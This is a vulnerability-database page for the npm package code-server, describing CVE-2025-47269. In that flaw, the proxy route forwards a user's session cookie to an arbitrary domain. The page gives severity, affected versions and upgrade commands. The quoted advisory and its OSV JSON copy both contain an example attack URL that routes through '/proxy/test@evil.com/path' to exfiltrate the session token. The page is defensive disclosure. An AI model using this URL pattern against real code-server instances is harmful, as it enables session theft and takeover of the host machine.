Vulnerabilities in pkg:npm/code-server

PACKAGE
Advisory Identifier: GHSA-p483-wpfp-42cj
Advisory Summary

CVE-2025-47269 is a HIGH (CVSS 8.3) code-server's session cookie can be vulnerability (CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')) affecting Code server libraries in the npm ecosystem. The issue involves code-server's session cookie can be extracted by having user visit specially crafted proxy url. Remediation is available by upgrading affected packages to version 4.99.4.

4 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/code-server

4 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/code-server. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-p483-wpfp-42cj CVE-2025-47269 HIGH code-server's session cookie can be extracted by having user visit specially crafted proxy URL
GHSA-frjg-g767-7363 CVE-2023-26114 CRITICAL code-server vulnerable to Missing Origin Validation in WebSockets
GHSA-2gp3-6c9p-jp7w CVE-2021-42648 MODERATE Cross site scripting in code-server
GHSA-49x3-8228-3w3m CVE-2021-3810 HIGH Inefficient Regular Expression Complexity in code-server

CVE-2025-47269 at a Glance

CVE Identifier CVE-2025-47269
GHSA Identifier GHSA-p483-wpfp-42cj
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
Affected Product Code server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2025-47269

To remediate this vulnerability, upgrade all affected Code server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code-server fixed: 4.99.4
npm install code-server@4.99.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls code-server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-47269, inspect your project dependencies using npm:

npm ls code-server

Analyze the terminal output to locate any version of Code server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.99.4), your application is affected.

Note: The npm ls code-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy'), where the product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. this causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. In Code server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token. ### Details Failure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. ### Impact Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. ### Patches Patched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.

CVE-2025-47269 Affected Code server Versions

1 component(s)
Fixed Versions:
4.99.4
Product / Package Ecosystem Affected Versions Fixed Version
code-server
npm
< 4.99.4
4.99.4

References

Frequently Asked Questions

What is CVE-2025-47269?
CVE-2025-47269 is a security vulnerability in Code server involving code-server's session cookie can be extracted by having user visit specially crafted proxy URL under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy').
Which Code server versions are affected?
Affected versions include releases prior to 4.99.4 across affected packages: code-server.
What version fixes CVE-2025-47269?
Upgrading to 4.99.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code-server affected?
Yes, code-server is affected in releases prior to 4.99.4. Upgrade your dependency to 4.99.4 or later.
What is the CVSS score of CVE-2025-47269?
CVE-2025-47269 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2025-47269?
CVE-2025-47269 is classified under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.).
How can I check npm dependencies for CVE-2025-47269?
Run the dependency tree command: 'npm ls code-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p483-wpfp-42cj",
  "modified" : "2025-05-09T21:39:15Z",
  "published" : "2025-05-09T19:34:35Z",
  "aliases" : [ "CVE-2025-47269" ],
  "summary" : "code-server's session cookie can be extracted by having user visit specially crafted proxy URL",
  "details" : "### Summary\n\nA maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token.\n\n### Details\n\nFailure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token.\n\n### Impact\n\nAny user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.\n\nNormally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.\n\nWith access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.\n\n### Patches\n\nPatched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "code-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.99.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-47269"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/coder/code-server"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coder/code-server/releases/tag/v4.99.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-441" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-05-09T19:34:35Z",
    "nvd_published_at" : "2025-05-09T21:15:51Z"
  }
}